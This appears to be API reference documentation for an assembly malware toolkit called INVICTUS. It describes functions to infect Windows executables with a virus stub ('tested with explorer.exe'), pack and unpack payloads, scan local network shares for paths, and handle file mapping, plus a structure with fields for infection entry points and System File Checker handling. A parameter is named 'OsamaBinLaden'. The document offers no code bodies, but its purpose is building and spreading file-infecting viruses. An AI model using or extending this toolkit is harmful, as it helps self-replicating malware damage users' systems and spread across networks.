_open_read(

FileName,  //address of name of the file
Structure, //address of "INVICTUS" structure

);

FileName
~~~~~~~~
Points to a null-terminated string that specifies the name of the file.
This file will be mmaped in memory.

Structure
~~~~~~~~~
Points to a STRUCX structure. See reference.

It returns a HANDLE that points to the start of the file, or NULL if
error.
________________________________________________________________________

Similar functions:
~~~~~~~~~~~~~~~~~~
_open_create - You can specify a previous size
_open_write
_close_file  - The same arguments but closes the file, you should use it
               after _open_read, _open_create, _open_write.
________________________________________________________________________

_infect_file(

FileName,      //address of name of the file to be infected
InfectMode,    //mode of infection
StubPath,      //address of name of the executable virus
Structure,     //address of "INVICTUS" structure

);

FileName
~~~~~~~~
Points to a null-terminated string that specifies the complete path of
the file to be infected.

InfectMode
~~~~~~~~~~
Specifies the type of infection. Not implemented yet. Put NULL.

StubPath
~~~~~~~~
Points to a null-terminated string that specifies the complete path of
the virus main executable.

Structure
~~~~~~~~~
Points to the "INVICTUS" structure. See reference.

It returns TRUE if success, or FALSE if fails

This function will affect only .EXEs with GetProcAddress & LoadLibraryA
imported, the RAW Addr. + RAW size need to be equal to file size.

Tested with explorer.exe and others.
________________________________________________________________________

TempPath(

Path,          //Address of a buffer

);

Path
~~~~
Receives a random filename with .TMP extension, pointing to TEMP
directory. The buffer must be create with MAX_PATH size.
________________________________________________________________________

Pack(

NameorPointer, //Name of File to compress OR a pointer to memory
Range,         //Number of bytes to compress
Struc1,        //address of "INVICTUS" structure
Ellen,         //Reserved. Need to be NULL

);

NameorPointer
~~~~~~~~~~~~~
Points to a file name or to a specific memory (cant be a string with a
valid file name)
The file need be free to be opened with read/write attributes.

Range
~~~~~
Specifies the amount of memory to compress. Its not used in file
compression.

Struc1
~~~~~~
Points to the "INVICTUS" structure. See reference.

Ellen
~~~~~
Reserved. NULL.

It returns the packed lenght of the file, otherwise it returns NULL.
________________________________________________________________________

Depack(

From,          //Where the compressed data is stored
To,            //Place to decompress the data

);
________________________________________________________________________

procB64encode(

ptB64,         //Place to put converted data
ptBuffer,      //Where the data to be converted is
dtLength,      //Size of data to convert

);

Converts Strings to BASE64 format, to be used in email-like programs.
Returns the size of converted data.
________________________________________________________________________

procB64decode(

ptBuffer,      //Place to put re-converted data
ptB64,         //Where the data to be re-converted is
dtLength,      //Size of data to re-convert

);

Converts Strings from BASE64 format, to be used in email-like programs.
No output.
________________________________________________________________________

NetWorkExplorer(

TheCallback,       //Points to callback (See example)
OsamaBinLaden,     //Reserved. Need to be NULL

);

Scan local network using MPR.DLL and provide paths to the specified
callback.
________________________________________________________________________


   INVICTUS STRUCT
      _file_attrib            DWORD    ?
      _file_time              DWORD    ?,?,?,?,?,?
      _file_size              DWORD    ?

      hWnd_CreateFile         DWORD ?
      hWnd_CreateFileMapping  DWORD ?
      hWnd_MapViewOfFile      DWORD ?
      hWnd_sfc                DWORD ?

      _access_type            DWORD ?
      _create_flag            DWORD ?
      _map_access_type        DWORD ?
      _mview_access_type      DWORD ?
      _image_nt_header        DWORD ?

      _infect_entry_point     DWORD ?
      _infect_last_section    DWORD ?

      _infect_import_dir_rva  DWORD ?
      _kernel_import_va       DWORD ?
      _import_function        DWORD ?
      _import_GetProcAddress  DWORD ?
      _import_GetKernel       DWORD ?
   INVICTUS ENDS
